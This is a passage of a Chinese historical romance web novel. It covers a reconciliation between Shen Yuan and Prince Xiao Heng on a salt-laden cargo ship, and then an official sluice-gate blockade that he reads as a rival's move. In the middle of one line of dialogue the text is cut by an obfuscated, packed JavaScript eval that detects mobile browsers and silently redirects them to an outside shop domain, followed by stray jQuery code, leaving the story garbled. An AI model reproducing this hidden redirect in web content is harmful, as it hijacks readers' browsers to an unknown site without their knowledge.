因是漕运货船，苏棠他们吃饭之地与船内一众船工一起，并无特殊之分，正是饭点，大家热热闹闹地挨坐在一起。加之萧珩先前就与青蛟帮多有往来，认识苏棠不少手下，大家只知这位萧公子为人和善，不摆架子，是以一顿饭的工夫，他被众人拉着聊天，根本没有机会跟沈鸢再说上半句。
至于沈鸢，与苏棠一道坐在最里面，与苏棠笑意盈盈地说着话，也始终没有看萧珩半眼。
直到饭毕，萧珩以沈姑娘身体尚未痊愈、需要休息为由，总算劝走了苏棠。
沈鸢低着头，独自往船舱方向走去，被萧珩拦住。
“沈姑娘，我是不是在什么地方得罪你了？”萧珩想了一圈，只觉得自打苏棠出现之后，他与沈鸢之间的气氛就怪怪的，沈鸢似乎是刻意避着他似的，可到底是怎么回事，他想破头都想不出来，索性直接问了。
“得罪自然是不敢当的，”沈鸢退了一步，“不过殿下……你既然与其他姑娘关系如此亲密，还是莫要与我太近为好。”
“其他姑娘？你说的苏大小姐？”
沈鸢听得那一句极为顺嘴的“苏大小姐”，眼神垂了一下：“我要去休息了。”
萧珩依旧一头雾水，很想将沈鸢拉住问个明白，可是沈鸢表现出一副身娇体弱瞌睡袭来的模样，他无法再强行挽留，只能侧身让路。
忽然，就在沈鸢正要开门之时，耳后传来萧珩一声叹。
“我与苏……”
刚开了个头，舱门吱呀一声开了条缝，沈鸢面无表情地说着：“你与那位苏大小姐的事，不必告诉我。”
敏锐如萧珩，立刻意识到沈鸢对那句“苏大小姐”甚是在意，赶紧说道：“我与苏少帮主确实合作无间，但也仅此而已，谈不上什么亲密。”
沈鸢脚步一顿，未曾回头，但伸向舱门的手，已然停住。
萧珩看在眼里，心中有了几分计较。
一定是他们去吃饭路上，苏棠与沈鸢说了什么，而那些话，正是他恰好不曾听见的。
于是萧珩又道：“苏家老爷子为人仗义，他女儿随他，所以一直以来我与苏家的合作都很愉快。先前清河城遇上苏家少帮主，实属偶然，如今搭乘苏家货船，不过是想借个东风，好尽快带着你去临漳城。”
沈鸢听得入神，抬起的手已在不知觉中垂了下来。
半晌，她轻声问：“她与苏老爷子知道你身份吗？”
“知道，所以苏老爷子总是开玩笑，想让宝贝女儿嫁给我，好让他们苏家有朝一日能牵上皇家御用的漕运生意。”说到这里，萧珩自嘲地笑，“可是我一个闲散王爷，不受父皇宠爱，也无实权执政，什么皇家御用，哪轮得到我来牵线？”
沈鸢终于转身，将萧珩面有戚戚的模样看在眼里。
她忽然意识到，这样的萧珩很陌生。
她曾见过萧珩很多种模样，顶着茶商名头温和有礼的，借着盐商外表沉稳冷静的，还有恢复七皇子身份，进退有度、运筹帷幄的，但眼下这个情绪低落的、暗有不甘的萧珩，鲜少出现。
甚至，这番话他也许不会对任何人说。
……
他竟也有这样的时刻，那是卸下冷锐盔甲、向后退了防线的时刻。
沈鸢下意识伸出了手，极轻极快地拉了一把他胳膊，旋即像是被烫了一下似的，将手缩了回去。
萧珩一阵错愕，待他回过神来，只觉得那截衣袖和袖中的手就像天边的云彩一样，轻飘飘离去。
却给他薄冰般的周遭带来真真切切的温度。
就在他想说什么的时候，船身猛地一晃，不同寻常的喧嚣声自甲板传来，急促的脚步声不绝如缕。
苏棠骂骂咧咧的声音在混乱中格外明显：“什么河道匪患猖獗，需整顿漕运？青天白日的，哪有什么匪患！”
“怎么回事？”萧珩闻之蹙眉，让沈鸢先回自己舱里，自己快步向外走去。
沈鸢不放心，确认了自己袖中的短剑和弩箭，也跟着上了甲板。
目之所及，令她大惊。
前方约莫百丈处，一道铁灰色的闸口横亘在水面上，将河道拦腰截断。闸口两侧是高耸的石墩，上面站着十几个官兵，盔甲在日光下泛着冷光。闸口下方，几艘商船挤在一起，船工们撑着竹篙左支右绌，船身撞在一起，发出沉闷的木板碎裂声。
商船之后便是大型货船，船身更大，吃水更深，连移个方向都难，哪里还有什么能退的地方？
岸边也是一片混乱。一群官兵正沿河岸列队，个个手持长矛，寒意逼人。为首之人骑在一匹高头大马上，手持一面令旗，高高扬起，纹丝不动。他身后站着几个文官模样的人，穿着青色官袍，正低头翻看什么文书。
苏棠指着河面上那个闸口，气得脸都红了：“我接手家里生意以来，从未见过这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720461|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的！”
“你方才说，这些人是来查河道患匪的？”
“借口！不过是想着收过路钱罢了，这种事我见多了，一会儿准备些银钱就得了。亏是亏了点，但谁让咱们吃这碗饭哪。”苏棠说着，向身侧之人打了个招呼，让他先去将银子取来。
萧珩却忽然道：“不必了。若是为了银钱，不会摆出这么大的阵仗。”
“那是为了什么？”
萧珩没有说话，冷锐双目扫着闸口和岸边。
河面上已炸开了锅。有船工扯着嗓子喊“我们赶着交货”，有商人站在船头急得跺脚，还有几个胆大的撑着船想往前冲，被闸口两侧射出的冷箭逼退，箭矢扎进船板，嗡嗡震颤。
岸上，一个兵丁扯着嗓子喊：“所有船只，就地停靠，等候查验！”
靠在甲板栏杆上的沈鸢，皱着眉想了想。
这些人以查匪为借口设了关卡，所图却并非是银钱，那是为了……
想到这里，沈鸢忍不住说道：“恐怕……他们就只是为了拦路。”
“就只是为了拦路？”苏棠一怔，“这对他们来说，有什么好处？”
“我想他们也不过是奉令行事。”沉默许久的萧珩终于开口，抬眼看向薄日西下。
那是太阳落下的方向，也是都城方向。
天边还亮着，白日的余晖不肯退场，依然亮得刺眼。可在亮堂堂的光芒底下，霞光云彩悄然流转，橘红、绛紫、暗金，一层叠着一层，像是有人在云端泼洒颜料，又像是无数只手在暗中搅动风云。
若是细看，便能窥见那些云彩的缝隙里，早已透出沉沉暮色。
萧珩收回目光，转头看看货舱大门，斑驳铁门在七彩霞光下岿然不动，显得肃静庄严。
大门之后，堆放的是盐。
白花花的，堆成小山。
从产到运，从运到售，这一粒粒盐流转千里，过手之处皆是银钱，养活了沿岸乃至大晟多少人家。
自他从周怀仁手里接过盐引大权后，整个清河城的盐务已向他敞开，远在都城之人无法窥视他曾在清河城中扮演过什么样的角色，也无法再对清河城内的现状改变半毫。
毕竟清河城盐运使依然是周怀仁，一切看起来风平浪静。
如今能阻他的，只有水运。
萧珩望着那道铁灰色的闸口，声音低得几乎听不见：“那一位，出手了。”